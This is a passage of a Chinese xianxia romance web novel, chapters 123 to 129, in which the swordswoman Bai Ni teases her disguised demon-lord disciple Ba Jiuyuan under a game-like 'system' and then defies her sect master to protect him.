白霓抬了抬眼,之后看似随意的一挥手,下一秒霸九渊顿时整个人腾空而起!巨石一般砸进了水潭,掀起了巨大的水花。 白霓悠悠起身时,正好看到他头冒出水面,似乎是呛了水拼命咳嗽的一幕。 白霓:“这样的回复,徒儿可还满意?” 【叮咚!】 【您触发了隐藏条件,激活了“白霓的真心”!】 【在“剩余时间”内,宿主获得了窥探“白霓的心声”的被动能力,以及将不定时接收“白霓的真心”系列临时任务!】 【剩余时间:168:00:00】 【注:由于该系列临时任务由宿主自行触发,因此特升级为“强制任务”。若宿主拒绝任务,首次口头警告,次回电击惩罚,三次直接抹杀!】 看着霸九渊瞬息万变的神色,白霓笑得云淡风轻。 白霓:“你连我是什么样的人都不知晓……便让我去恣意妄为、随心所欲?” 白霓:“但既然你都这么说了,我也会如你所愿地那么去做。不过……” 白霓:“你一定会后悔的。” 霸九渊:“我绝不会后悔。” 白霓不与他争辩。 待到那圣墟剑仙的光环完全破灭那日,他自然什么都会懂了。 他会意识到圣墟剑仙只是个与她白霓毫无瓜葛的、不存在的人。 他最后只会剩下对那个最真实的白霓的失望寒心、新仇旧恨。 他们之间什么都不能改变。 也什么都无法改变。 …… 太阳终于升上来了。 被压迫在高山背后的朝阳,越过山峰后射下来的光照是那样明朗刺目。 落在霸九渊的脸上时,仿佛他脸上的红温是因被烈日炙烤,而非由于突如其来的系统提示。 【白霓正在打量你的身体。】 他一下子僵住了。 下意识往后退了退的身体似是本能地在后悔,但天魔宗主向来话不走空,因此哪怕没有被系统封死退*路,他也会好好负责。 于是深吸了一口气后,他抱着必死的觉悟开口了。 霸九渊:“你想……让我做什么?” 白霓不急着回答。 她审视的目光从霸九渊的脸为起点缓慢下移,有意无意地个中停顿了一会,方才漫不经心地淡笑了声。 白霓:“我能让你做什么?” 白霓:“我们到这儿来……不是为了修炼吗?” 【忠告:重视自己固然重要,但也要谨防自作多情。】 本来霸九渊还能强撑,然而系统紧接的一句补刀顿时让他从头羞耻到了脚趾。 用话声“对……!没错!修炼!”掩饰自己的尴尬后,他从潭中飞身而起,开始向天瀑底端接近。 然而他足尖刚碰到天瀑底端的岩石,撑不到一息的时间,便被强大的冲击力打回了原地。 应是觉得太丢脸,霸九渊才会下意识扭头去看白霓的反应。 结果那人已是席地而坐,察觉到了他的视线却不抬头,声色淡淡,一如他认识了她五十年间的那么冰冷无情。 “看我干什么?” “继续吧。” 霸九渊咬了咬牙,继续了。 此后半日,白霓便是看着他一次又一次地对天瀑发起冲击,然后一次又一次地被击飞落水。 霸九渊应该觉得自己不断挑战却被击倒的身姿狼狈至极。 但在白霓眼中,其实他很耀眼。 毕竟一如世人口中所说的,她白霓是千年难得一遇的天才。 无论是她的人生还是她的修炼,都没有什么需要努力的,也没有什么好去努力的地方。 可以的就是一直可以。 不可以的她就直接放弃。 所以她永远都不可能像霸九渊这样,如此固执地、执着地,对眼前的艰难险阻发起挑战,哪怕屡屡失败也从不会泄气。 充满了旺盛的生命力,让人光是在旁看着,心中便被希望灌满。 世人总说她白霓是现世之光。 可比起她这样的冷血兵器,他霸九渊才更应该成为所有人的信仰。 因此哪怕是他修道的天赋不如她,这从未有人修成的天级功法,迟早也该被他征服踩在脚底。 毕竟那一共九章“不屈”“不折”“不移”“不阿”“不羁”“不惑”“不弃”“不息”“不朽”的“不灭九式”…… 的确是照着他本人,一笔一划写下来的功法。 “扑通——” 只不过现在看来……应该还需要一点时间。 见霸九渊面朝下,死鱼一般地漂浮在水面上,白霓终于动身。 她抓住霸九渊的后衣领,单手轻轻松松把他整个人提了起来。 而就像是刚离开水的鱼一样甩尾挣扎,霸九渊也如同抽筋似地挣扎了好一会。 但由于周身钻心的痛,他试图反抗但反抗无效之后,只能龇牙咧嘴地和白霓大眼瞪小眼。 白霓:“你动不了了?” 白霓:“既然你终于动不了了,那便轮到我开始了。” 霸九渊:“……???????” /:. 看他疼得连话都说不出口……可怜、彷徨又害怕样子,白霓实在是想笑。 以至于……连脱口而出的话,都带上了点点笑意。 “徒儿。” “你现在真像是砧板上的鱼肉,任人宰割呢。” 过去白霓曾在霸九渊的脸上看到过许许多多的表情。 却从来没有一刻像现在这样…… 一瞬面如死灰。 那强压下去的笑意终究还是化声而出,徘徊在被火红光辉照耀的山谷中久久不能消散。 【白霓认可了你的努力,并称赞了今天的天气。】 【她认为是因为能在这样的好天气中遇见了你——】 【所以她现在的心情才会这么好。】 【师徒情谊+1】 124 第124章 ◎正派之首爱上反派宿敌的第十五天◎ 当下正在发生的事情并不能说是白霓一手策划。 她当年写下那本天级功法,如今又将其传授给霸九渊实属一片好心。 可偏偏他自己掌握不好分寸。 非得到全身都动弹不得了,才终于停歇下来。 她身为师傅能怎么办呢? 难道眼睁睁看着自己唯一的亲传弟子,像死鱼一样浮在水面上,越飘越远吗? 因此她亲力亲为地把他带回剑仙府,之后再不过是想把浑身湿透、随便动一下都痛得龇牙咧嘴的好弟子好好擦擦干净……怎么能说是蓄谋已久呢? 所以霸九渊现在脱口而出的那句“白霓!你是不是从一开始就在等这一刻降临???!”…… 说得实在断没有道理。 白霓的食指轻轻一点,便将霸九渊颤抖着抬起来、想要阻挡她的手拨到了一边。 【白霓对你的说法表示了反对。】 她语重心长,字字句句是为人师表、师徒情深: “徒儿你误会为师了。” “为师之所以会这么做,皆是出于为师心善,全是一番好意啊。” 他狐疑的神色淡去一点,但依然没有完全打消。 霸九渊:“……劳驾师傅为徒儿这般费心了。” 霸九渊:“可师傅日理万机,徒儿就不多打扰您,接下来便由徒儿自己——啊啊啊啊啊啊!!!!白霓你干什么????痛死我了——!!!!!!” 见她的好徒儿不过是被指头戳了下便痛得五官乱飞,白霓眉梢微扬。 “徒儿你自己来?” “还是让为师替你来吧。” 霸九渊:“可……!” 白霓落在他肩膀上的双手把想要逃跑的人按回了原地,“嘶”的一声痛呼更是取代了他原本的叽叽歪歪。 白霓:“坐好了。” 白霓:“你再废话,为师就不敢保证不会发生些什么了。” 【白霓似乎正在酝酿一些危险的想法。】 霸九渊:“………………” 在里外夹击的威胁之下,他是终于妥协,闭上了嘴。 白霓便也开始准备吃肉……不是。 是亲自动手给她的好徒儿,仔仔细细认认真真温温柔柔地…… 好好擦擦干净才对。 …… 霸九渊在不知道什么时候被她逼迫得连肩膀都快要碰上墙面。 他的双手向后撑在蔺草编织的叠席上,前边双腿微曲敞开的空间,刚好足够容纳下一个她。 许是刚才争执得太过激烈,他才没有察觉当下他们之间的位置是这样不妙。 如今冷不防安静下来,他才终于后知后觉,本来就疼得发热的身体更加升温,一眨眼,额上的汗水便混着潭水滑落下来。 白霓便是眼睁睁地看着他的汗珠沿脸颊的轮廓,从下巴跌落到锁骨之间,最后和紧紧吸附在胸膛的衣襟融为一体。 许是水珠流经的地方有些痒,他想动又不敢动,最后只能用因为喊痛的时候吼得太凶,所以变得嘶哑的嗓音开口了。 霸九渊:“你……快点吧。” 白霓:“……” ……这谁能快得了呢? 假装忘了这全部只是一个小法术可以解决的事情,白霓的手捏起干净的衣摆,轻轻地覆在了他的额上。 霸九渊身上的热度倒是惊人。 即便隔了层布料,白霓都能感受到他身上的炙热,尤其那因为突如其来的触碰而反射性抓住她手腕的掌心,更是烫得跟烧红的铁块一样。 霸九渊:“……你非得用自己的衣服吗?” 迎着他好像有点发红的眼睛,白霓无辜道:“我只有这个。” “……” “……你用它吧。” 白霓捡起了从霸九渊芥子袋掉出来的巾帕,盖在他脑袋上时,本来毛毛躁躁的头发一下子软和下来。 配上他那副“永不屈服”的表情,真就像刚从野外拐回家、不服管教的野生动物,只是迫于暴力淫威,才假意顺从。 白霓忍不住隔着巾帕在他脑袋上揉了好几下。 结果那个人却是恼羞成怒了,直接红着张脸瞪她,还骂骂咧咧的: “……你动作麻利点!不然就让我自己来!” 白霓敷衍地应了几声是是。 其实从最初开始,白霓的手就没直接碰过他。 哪怕现在连擦拭他的耳朵,都是隔了层巾帕。 他咬牙忍过了按在他耳轮上的的拇指、那又搓又捻的轻柔动作。 哪怕是被有意无意地碰到了柔软的耳垂,也很硬气的一声不吭。 然而当巾帕和其背后的手一路顺势而下,掠过他突出的喉结,顺沿肩膀的弧度隔着衣服在他臂膀上轻轻揉捏,又折返回来在他胸口打旋抓揉—— 那双因无法直视所以紧闭的眼睛猛地睁开了。 “……够了。” 这次肯定不是因为刚才喊痛喊得太凶,所以声线才会那么沙哑了。 他甚至不敢看她。 好像只要不和她对上视线,无论是那红得不成样子的脸庞,还是他此时此刻的心情,便都会像是他强作镇定的嗓音一样,漫不经心、不以为意。 霸九渊:“……徒儿十分感谢师傅的体贴和关照。但劳烦您甚多,徒儿心里实在过意不去。” 霸九渊:“今日我们就到此为止吧。” 霸九渊:“师傅您早些歇息,不肖徒儿这便先行离去了。” 自顾自地说完,霸九渊强硬地抢走了白霓手里的巾帕放在一边,之后顺势大掌按在地上借力而起,强支起身要离开。 他这一套动作做下来似行云流水,没有遭到一星半点的阻拦。 正当霸九渊以为这次能成功出逃,刚松了一口气,却不想他才刚拖着腿往外走出两步—— 【叮咚!】 【您触发了“白霓的真心”系列临时任务!】 【请宿主立刻返回攻略目标“白霓”身边!】 【若宿主拒绝任务,首次口头警告,次回电击惩罚,三次直接抹杀!!!】 “……………………” “????????” 霸九渊猛地回头时,正好撞上白霓似笑非笑的神情。 “怎么?” “打算回来了吗?” 霸九渊:“………………………………” 【警告!警告!】 【现检测到宿主拒绝执行临时任务,将在倒计时三声后对宿主进行电击惩罚!】 【电击惩罚力度参考:“仙境九阶雷劫强度”】 【现在进入倒计时——】 【三】 【二】 【一】 “咚!” 一道黑影在白霓的跟前重重地坐了下来。 也不知道是心里太恨还是身体太痛,他那张虽是换了张脸却依旧桀骜不驯的脸上尽是咬牙切齿的狰狞。 连说话时的声音语气……都像是从齿缝间硬挤出来,跟要吃人似的。 “徒儿这厢……有劳师傅大驾了。” 白霓见状只是微微一笑。 “好说,好说。” 125 第125章 ◎正派之首爱上反派宿敌的第十六天◎ 霸九渊妥协了,但又没有完全妥协。 他虽说是坐回了原本的位置,不过却是双臂环胸,把自己保护得严严实实,生怕被她碰到一星半点。 那双死死盯着她的视线也如同鹰眼一般锐利,更有一种判官的审视,仿佛无时无刻不在监视她的一举一动,警告她“我正在盯着你!”。 不就是盯视? 这谁还不会了呢? 白霓没有出声,不过是淡淡地扫了霸九渊一眼。 随后他的地狱就开始了。 【白霓对宿主胸肌发出了惊叹!】 【浑圆有力绷紧时如拉满的弓弦,每一次的呼吸都在尽情地彰显让人欲罢不能的力量感。但放松时却又形如刚刚出炉的大肉包子,让人见之只想冲上去猛咬一口,去深深感受那是如何的饱满多汁、香味四溢。】 【师徒情谊+1】 霸九渊:“?” 【白霓对宿主锁骨发出了惊叹!】 【干净利落的锁骨线条如同危险的独木桥,走在桥上的每一步皆是惊心动魄、心旌摇荡!而那深邃的锁骨窝则是最平铺直叙的陷阱,无声地引诱目光坠落、沉溺,让人只想用亲吻去填平那诱人的凹陷!】 【师徒情谊+1】 霸九渊:“???” 【白霓对宿主的喉结发出了惊叹!】 【问世间能有何人见过如此性感的喉结?不,那也许并不是喉结,而是欲望的活火山。每一次的吞咽动作,喉结滚动,都如同火山喷发一般高昂激亢,唤醒生而为人最原始的欲望!】 【师徒情谊+1】 霸九渊:“??????” 【白霓对宿主的手臂……】 【白霓对宿主的腹肌……】 【白霓对宿主的……】 【师徒情谊+1】 【师徒情谊+1】 【师徒情谊+1】 【……】 霸九渊:“白霓!!!!!!!” 白霓:“怎么了?” 霸九渊:“你、你怎么敢——!!!” 怎么敢? 现在就没有她不敢的呢。 白霓的视野往下压了压。 其实……方才她便有些发觉了。 “男人和女人的身体真的可以十分不同” 细论起来,她白霓也没有一天惰于修炼,可偏偏和霸九渊一比较,他们体格的差异顿时就变得很明显。 她明明也不算瘦弱,但在霸九渊面前,她便仿佛不盈一握。 他的肩膀要比她宽出了一节,他的肌肉也比她的要紧扎厚实。 尤其现在,当他双腿微曲张开,衣摆全撩了开去,非但□□大得夸张,还可以看见他袴下的大腿也比她要粗壮结实。 按下去……哪怕隔着他的衣服和她的巾帕,都能感觉到他的大腿肌肉是硬邦邦的。 霸九渊:“我看你是疯了——!!!!!” 耳边忽然就炸开了他的惊喊。 惊喊声中,是他的双手冷不防紧紧扣住她的肩头,强大的推力迫使她整个人向后仰去,由本来跪坐的姿势变成完全坐在了蔺草叠席上。 从肩膀的钝痛让白霓微微皱眉。 话尚未脱口,只听他先是出了声。 霸九渊:“算我拜托你了……别乱碰……” 白霓抬眸望了过去。 像是一息之前遭遇了什么重击,她眼前的男人喘着粗气,汗水不断从湿成一绺绺的发尾掉落,那双直直怒视她的眼睛里也多了好些血丝。 尤其那眉心几乎要拧成绳结,一副敢怒不敢言,于是只好拼命忍耐的样子……白霓心中的不悦一下子就消解了。 甚至还霍地笑了出来。 【白霓对你的话表示不解。】 “这怎么算是乱碰呢?” 听她口吻轻松不以为意地说出这么一句,霸九渊的脸色顿时一阵白一阵红,仿佛为了不立刻暴打她一顿,实在是忍得万分辛苦。 最终他还是忍住了。 霸九渊:“……那里就是不能碰的地方。” 他还特别强调:“不光是我,这么摸别的男人也不可以。” 然而他的苦口婆心、好意劝说,换来的只是白霓满不在意的轻声一笑。 白霓:“不可以……不可以……” 白霓:“可是不是你对我说的吗?我可以去喜欢,可以说出来,可以随心所欲做我想做的事情。” 白霓:“所以……到底怎么就不可以了?” 霸九渊不敢相信她居然敢这么曲解自己话中的意思:“这能是一样的东西吗????” 白霓:“当然。” 霸九渊:“………………” 见他又是捂脸,又是唉声连连,好像随时要搬出些什么大道理和她理论。 白霓心想干脆要不然封死他的那张嘴一了百了,不然便是再出一个临时任务直接制裁。 然而她还没来得及出手,霸九渊抓住她肩膀的手冷不丁松开了。 白霓下意识看了过去,结果只来得及捕捉他最后的眼神。 他那一眼……仿佛下了什么特别大的决心。 带着股一不做二不休、咬牙切齿般的狠意。 白霓还没来得及去深思他是准备去做什么大事,当她整个人被挟入有些湿热的裹怀之中,忽然就得到了答案。 “……” 碰到了。 他刚刚才说了不给乱碰的地方,此刻正紧紧贴着她,他又硬又沉的双腿像是钳子一样锁住了她,迫使她整个人如同被抓住了翅膀的鸟,只能任他倒弄。 “……” 坦白说,霸九渊的拥抱色得有一点过分了。 那就好像想将她整个人连嚼都不嚼一下地生吞硬吃,他肌肉贲张的双臂紧紧箍住了她的背,几近将她的全身都按进了他的怀里。 他身体上的、衣服上的,没有干透的水珠渗透了过来,仿佛一瞬置身于溽暑榴月,浑身湿热得不像话。 偏偏也不知道他是觉得这样还不够,还是在报复她方才的有心气他。 他的左手下滑到了她的后腰,右手则放在了她的后心上,跟在同敌人打仗似的,铆足了劲地用力把她往自己身体的方向拢。 他的手掌很大,一盖上来便仿佛盖过了她半个背。 于是当他忽然点对点地用力,肉与肉的贴合霎时紧密得没有一丝缝隙,就连他心脏每一次的起搏,她都知道得不能更清楚了。 霸九渊:“现在……你懂了没?” 霸九渊:“你可以去随心所欲去做你想做的事,但不管怎么说,无论做什么都应该要有一个度。” 霸九渊:“毕竟没有人会喜欢自己突然被这样对待——” 白霓:“喜欢。” 死寂来得就是如此突然。 但就如同人在面对自己接受不了的事实时总会自欺欺人,霸九渊也对自己的耳朵产生了怀疑。 他有点懵懵地松开了白霓。 然而他迎上的,却依旧是她肯定到对他有点残忍的直白。 尤其当看到那犹如与雾色一般轻淡的笑,更是不禁开始惊恐。 白霓:“别装听不见了。” 【喜欢。】 白霓:“我说的就是喜欢。” 【白霓表示了喜欢。】 白霓:“不管你做的少一点,还是做的更多一点,我都会喜欢的。” 【无论宿主否认多少次,宿主听到的字眼就是“喜欢”。】 应是完全想不到会是这样的回答,所以霸九渊才会像触电一样立刻猛推开了她,看她的眼神也像是看天外来物那般难以置信。 霸九渊:“白霓……你是不是……终于疯了?” 白霓不与他计较。 她耳郭微动,当听到从远方传来的由远而近、声势浩大的声响,白霓抚平了微湿的衣裳,站起身来,目光登时变得居高临下。 白霓:“疯了?” 白霓:“你今日勾引我,我还以为你早知道了。” 白霓:“从一开始我便是这样的人。” 白霓:“不是世人口中只喝清风露水的圣墟剑仙,而是只喜欢吃肉,尤其是……像徒儿你这种大鱼大肉的粗俗女人。” 白霓:“我本来忍得很好,是你非要打破常规,逼我做我自己。” “叩叩” “剑仙大人。” “门主到访。” 白霓推门而出时最后看了一眼霸九渊脸上那好像既发懵又混乱还很忧心的表情。 “不必露出那种神情。” “开弓没有回头箭。” “既然已经开始了,那么就不会轻易结束了。” “你不是要我反抗吗?” “那就反抗吧。” 其实白霓本来无所谓反抗不反抗的。 可既然他都那么在意了,那就随他说的那样去做吧。 至于像是“我虽喜欢大鱼大肉,却也不是送到了嘴边就一定会吃”,又或者是“因为是你霸九渊,而不是其他任何的一个别人,所以我才毫无动作毫不介怀”这样的话…… 他就不必知道了。 霸九渊只需要知道她很喜欢。 那就已经足够了。 …… 【师徒情谊+1】 126 第126章 ◎正派之首爱上反派宿敌的第十七天◎ 圣墟门主不请自来…… 白霓再一次见到他的时候,只是不禁想起了霸九渊对她说过的话。 他说:“白霓,圣墟门主是你的父亲。” 其实比起这句,他当时那副一本正经的严肃表情,真正想说的话好像另有其它。 比如:“圣墟门主是你的父亲,他不能、也不应该那么对你。” 可回首过去几十年,似乎从来没有一个瞬间,她曾将那个一身铁骨青枝,在任何时候都傲然屹立的人视作自己的父亲。 在她的眼中,白望霄永远都只是—— “圣墟门主” 白霓并不是在哪一个瞬间忽然心死了。 而是从一开始,她便对他没有过任何的期望。 因为白霓很清楚,白望霄他就是那样的人。 “光复宗门,重铸太平盛世”是他毕生唯一所求所愿。 他没有、也不愿意将任何一点精力分给其他人、其他事。 他的历任道侣们忍受不了他的冷落和功利,选择一走了之。 他的子女也拒绝被当成工具所用,轻则不告而别,重则削骨还父,永生永世断绝关系。 白霓之所以留了下来,自不是渴望从那个已经把所有情感埋入坟墓的男人身上得到亲情。 倘若要说哪一个瞬间是决定性的…… 那大抵得归咎于白望霄在对她说“你是我们圣墟最后的希望!拔出圣剑,成为照亮所有人的光吧!”时、那仿佛溺水者抓住最后一根稻草的眼神…… 实在太过虔诚了。 是。 那其实并非父女之间的血缘之情。 而仅仅是神对世人的怜悯而已。 但事到如今,伴随圣墟已然成为正派宗门之首,天下太平河清海晏,圣墟剑仙已是可有可无…… 时至今夜。 当晚风拂过,隔着花絮蟾光,再一次望向那个数十年前,只因她随手用圣剑斩碎了千斤磐石便振奋得双目淌泪,激动得跪在她的跟前,对她说…… “白霓,这是只有你才能做到的事。” “你一定能够……不,你必须要成为所有人的希望!” “救救圣墟,救救修真界吧!” ……的圣墟门主时。 那些怜悯、那些不得不为之,仿佛具与烟云一同消散了。 “他不再需要被拯救” “因为他终于得救了” 白霓不由地便笑了。 那笑分明宛如十五月上中天,云开雾散,是万顷湖光风月无边。 可也许因为不再是沉默,也听不到那一声理所当然的“是,门主”,那恍然有什么正在失控的坏预感,只为圣墟门主带来了深深的不安。 “……你笑什么?” 白霓:“我只是在为你高兴。” 圣墟门主本就皱起的眉头拧得更加用力。 比起继续跟白霓打哑谜,他只想立刻解决掉一切祸端的源头,将开始反叛的圣墟剑仙归原成本来的模样。 圣墟门主:“外门弟子风逸尘所在何处?!” 圣墟门主:“此人城府深沉、私藏祸心!先有借你白霓之名擅闯灵泉,后又窃取秘阁天级功法。” 圣墟门主:“白霓你将此人交出,我们自会替你清理门户!” 一直静静矗于门前檐下的白霓终于动了。 提步迈向那应该是来声讨些什么的圣墟门主和长老之前,她先是回头看了一眼。 如果说当年,她从白望霄仰视她的那双眼睛里,看到的是修真界的希望。 那么这一个当下,她从像狗一样扒在门缝间偷看她、嘴边不断念叨“白霓不要当傻子”“白霓你不是傻子”“如果你今晚非要当个傻子那我真的就只能大开杀戒了”仿佛在给她下咒的霸九渊的眼里所见到的…… 就只是她自己而已。 白霓不禁垂眸莞尔。 白霓:“……外门弟子?门主此话说得太过生分了。” 白霓:“莫非真的要我去掀了圣墟祠堂,你才肯承认他是我的亲传弟子吗?” 其实白霓全都可以理解的。 因为“弱”会吸引强烈的恶意。 她唯唯诺诺了几十年,从不质疑,也不反驳,好事坏事皆是闭眼直接全部做了。 因而会让他们生出……她人善可欺、荏弱无能的误会,的确是情有可原。 但不要紧,从现在开始,她会帮助他们开始了解真实的白霓,而非那个由他们一手创造的圣墟剑仙。 她会帮他们慢慢记起来…… 白霓:“他是我的亲传好徒儿,若是犯下了什么错,自然是由我这个师傅一同承担的。” 白霓:“所以倘若真要清理门户……只凭门主长老们,想必还不足够。” 白霓:“毕竟要连我一块,恐怕,得多费些人手和功夫。” 其实比起救过的人。 她杀掉的人…… 要多得更多。 127 第127章 ◎正派之首爱上反派宿敌的第十八天◎ 若提起圣墟门主,世人多以雷厉风行、冷峻肃穆相称。 雷霆怒火也是常有的事。 但从来没有人见过一如他此时此刻,气得浑身不受控制地颤抖,却强压下去不发作出来的模样。 远不止是磨牙凿齿了,那已经到了每一个字眼、每一个眼神都恨不得要吃肉饮血的程度。 “你可知道自己……现在在做什么?” 白霓自是也没有见过的。 可见与不见,对她来说差别也不是很大。 因此当周遭众人背脊一凛之时,这边的白霓仅是垂眸沉吟了一息,便淡声回道: “保护爱徒?” 圣墟门主还没有反应,她的后方已先是反应极快地传来了“哕——恶心——”的响动。 白霓头都没回,不过指尖向后一弹,顿时发出巨响,烟尘四起之中是霸九渊心有余悸的大喊大叫:“卧槽白霓你谋杀啊???” 此番没大没小的戏言一出,圣墟门主的脸色霎时更加铁青。 怒意将他的双目烧得恍然淌血,质问的话也是一个字眼一个字眼从口中道出: “你今日……是非要偏袒他不可了?” 白霓:“谈不上偏袒。” 圣墟门主:“怎么谈不——” 白霓:“既无过错,又何来偏袒呢?” 四下霎时一静。 连鸟兽虫鸣皆听不见的死寂当中,是白霓风平浪静云淡风轻的话语: “那灵泉虽说是要许可方能使用。” “可左一句许可……右一句许可……” “莫非我堂堂正派之首,竟是连使用灵泉的权限……都给不出来吗?” 此话无人可应对。 见昔日挥袂生风的长老们如今是个个梗着脖子不吭声,白霓扯了扯嘴角,倒也不愿放过他们,继续说道: “再说那本天级功法。” “那功法本是我按照洞天中的石拓古籍,耗费数年心血撰写修编而成。当初将其放在秘阁,任人取览,本意不过是想为我们圣墟弟子谋得一些福祉。” “如今诸位携‘窃取’一名前来问罪……” “着实让我大开眼界了。” 后头的秘阁阁主老脸一红。 圣墟门主也是词穷。 但即使无了由头,他也铁了心肠要拿人问罪。 逼视白霓的双目一眨不眨,他一字一顿地问她: “若我今日非要带走他。” “你当如何?” 白霓又是想了想。 这回,她没有解释太多,不过是左手拇指一勾,挂在腰间的剑立时出鞘两寸,在月光的映照下寒光凛冽,恍然连她的声线都冷了三分。 白霓:“你可以试试。” 一见白霓竟是不惜动武也要护下那人,一直压抑在圣墟门主胸腔的怒火骤然喷涌而出。 “圣剑是为救济世人而生的剑,怎能任由你胡作非为??!!!!” 白霓:“那还给你?” 圣墟门主愣住:“……什么?” 白霓:“这剑我用着本就不顺手,它留在我身边也应该觉得自己委屈。” 白霓:“的确是早不想要了。” 圣墟门主:“……” 人若是气到了极点那的确是会笑出来。 圣墟门主便是在喷笑声后彻底气红了眼。 “白霓——!!!!” “你不能忘记自己的身份!不能忘记身上所背负的责任!!你怎么可以为了区区一个外门弟子,竟是要与宗门反目成仇——??!!!” 白霓不语。 她只是安静地注视圣墟门主,直到那歇斯底里般的癫狂似要卷土再来,方才终于抬了抬手,而后指尖轻轻弹在了剑身上。 “铮——” 刹那间天地间恍然寂静了。 八方风起云涌。 以此地为中心,圣境强者灵力形成的波浪顿时冲散了回荡在整个剑仙府的怒吼声。 闻者轻则身形摇晃耳痛脑鸣,重则双耳流血倒地不起。 圣墟门主单膝跪地,他又怒又急,嘴中刚蹦出一句“你……!”,余光中的土地上忽而有一道黑影洒落。 他下意识抬头。 只见那个从来只会沉默,哪怕开口也只会说一句“是,门主”,过去数十年间从未忤逆过他一句的人…… 此刻非但居高临下地俯视他,还对他说…… 白霓:“不要喊。” 白霓:“放眼整个圣墟,没有任何人有资格在我面前大喊大叫。” 白霓:“即便是你圣墟门主。” “……” 白望霄向来习惯了她的低眉垂首。 直到这一刻与她对上视线,才忽而发现她的眸光竟是与背后的月光一般苍白冷淡没有丝毫温度。 那声线亦是清冷平淡,听不到多少感情。 仿佛昔日无数次的舍生忘死,一桩桩一件件皆仅是不带任何感情的、客观的事实而已。 “我白霓自垂髫之年开始修道。” “从那一日起便为圣墟勤勤恳恳尽心尽力,从无一日懈怠疏懒。” “过去几十年间,我千百万次临危受命,为圣墟出生入死。即便明知前方九死一生,此去未必能有归路,也从未有过一刻止步不前。” “若算功劳,不提上千,也必有成百。” “若说苦劳,无人可计其数。” “这世间所有人可以说我是低下微贱、愚不可及。” “但唯独只有圣墟——” “你们之中的任何人都不能对我诋毁贬低,哪怕仅仅是一个字眼。” “于情于理于功于绩。” “不止是你一个圣墟门主,就算历任门主英魂在此——” “也无一人,可对我不敬。” 128 第128章 ◎正派之首爱上反派宿敌的第十九天◎ 当第一滴鲜血掉落在剑仙府的土地上,一切便已是覆水难收了。 但白霓显然并不在乎,也不觉得有什么所谓。 于是目送最后一位长老被圣墟弟子抬走,她只是回首望向了沉默的霸九渊。 “……” 他并不如白霓本来以为会的痛快酣畅。 非但没有撑腰大笑“痛快!痛快!”,倒是很反常的默不作声。 就沉默地坐在剑仙府外的大石头上,盘起双腿,双臂环胸,怀中揽抱那把被烂布条裹紧了的凶刀,静静地看着她,恍然要与夜色融为一体。 连她提步往他的方向走去,也照旧闷声不响。 白霓:“怎么了?” 白霓:“我不是如你所愿地那么去反抗了?” 白霓:“不知道的还以为我没有护住你,让你给别人欺负了。” 当等了一息仍是没有听到半点回音,白霓不由定睛看了过去。 “……” 今夜月色浓郁,万里光辉。 偏*偏霸九渊坐的那块大石恰在树荫底下,一眼看过去只看见了浓墨一般的黑,压抑得深沉。 白霓看不大清楚他的表情。 但看不仔细也好,她也不想再从他的脸上看到诸如心痛同情怜悯这样的感情了。 于是只不过停顿了一下,白霓没有强求,再留下两句话后错身便走了。 “夜深了。” “早些休息吧。” 今夜虽说是这么过去了。 但事情不可能就这么结束。 她身为圣墟剑仙,却公然与圣墟门主长老对抗,事况的性质在她动手瞬间已不再是简单的宗门纲纪秩序。 白望霄不可能罢手。 现在的他也仍不愿放手。 可当往后有朝一日圣墟剑仙失去了“圣剑之主”的头衔、没有了“慈心”的光环,她在他那里……终归也只会剩下被抛弃的结局。 届时圣墟剑仙的传说化为湮尘历史。 圣墟与各大名门正派恨她背叛投敌,唯恐在与她撇清关系时慢上了一点。 至于反派门人……她与他们本就积怨甚深,他们早已恨她入骨。 这天地间恐怕再无一处,是她的容身之地。 “白霓。” “……” 被突然叫住时下意识驻足回首是很寻常的反应。 可唯一不寻常的,是那个人下一句说出来的话。 他说:“你跟我走吧。” …… 起风了。 风将枝上叶片吹得簌簌作响,一直被拒之门外的月光也终在此时穿过叶隙洒落下来,照在了石地、飞尘、那个人的脸上。 术法可以改变一个人的面貌。 却隐藏不了他本来的性情。 无论是那专注到极点的眼神,还是那不苟言笑的认真,霸九渊的神情、他的语气,全部都不像是在开玩笑。 可全天下任何人都能对她说出这句话,唯独只有他霸九渊……不可以。 于是恍然什么都没有听到一般,白霓的神色淡如云烟,再不过是留下两句话,径直拂袖而去了。 “你糊涂了。” “此话我就当从没有听过吧。” 她终究没有能走掉。 不过是刚要转身,余光中便是他猛冲过来的身影。 手被拉住的时候,白霓只是不得不回头看他,而一回眸,她便撞上了那双坚定、坚决到可以说是固执的目光。 在皎白月光的照耀下,亮得熠熠生辉。 霸九渊:“我是认真的。” 他第二次说出了那句话。 霸九渊:“白霓,跟我走吧。” “……” 他也许真的是认真的。 但就是因为他如此的郑重其事,白霓才会被气笑。 白霓:“其实你真的知道自己在说什么吗?” 霸九渊:“我知道。” 他不知道。 如果他真的知道,又怎么可能会说出这种不像话的话出来。 白霓:“你清楚自己是什么身份吗?” 霸九渊:“我很清楚。” 他不清楚。 倘若他真的记得自己在是“圣墟剑仙座下唯一的亲传弟子”之前,先是天魔宗主、凶刀之主、反派之首,又怎么可能对自己的宿敌说出……“跟我走吧”这种荒唐的胡话。 是啊,太荒唐了。 荒唐胡闹到那是白霓根本想象不出来的未来。 白霓:“你说走?” 白霓:“我们能走去哪呢?” 他终于不再一问即答。 那沉默到确实有些久了的时间……让白霓以为他终于意识到了现实,想通后决定放弃。 然而,当在突如其来的一个瞬间,霸九渊抓在她手腕上的手忽然变得更紧,白霓意识到……是她想错了。 霸九渊:“白霓。” 从他掌心传来的温度像是火烧一样炙热,与他那好像下定了什么莫大决心的神情、恍然要豁出一切的坚定眼神,是同样的诚挚炽烈。 而那果然也真是不可言说的…… 巨大的决心。 只因他在叫出她的名字之后,便紧接着说—— 霸九渊:“跟我回家吧。” 129 第129章 ◎正派之首爱上反派宿敌的第二十天◎ 其实一如白霓想的那样,当她终于不再用没关系不在意无所谓的表情,沉默地接受一切时,霸九渊觉得自己肯定是该要痛快的。 然而真的看到她开始公然对抗一切的不合理,畅快的心情却并未如期而至。 根本就没有什么荡气回肠、扬眉吐气。 当如水月光洒落在她身上,晚风吹得她衣摆猎猎,她以一敌众,字字句句将所有人说得哑口无言—— 在那一刻,霸九渊感受到的只有恍然所有空气被抽光了一样的窒息感,与之而来的是刻骨的悲伤和孤独。 白霓没有流一滴泪。 仿佛那颗心早就完全死了,她的声线、语气平静得没有任何感情起伏。 她越是平静,霸九渊感受到的情感越是浓烈。 那就像是一个人恪尽职守了半生,救了无数人,帮了无数人,自己到头来却什么都不曾拥有、无法拥有、不能拥有。 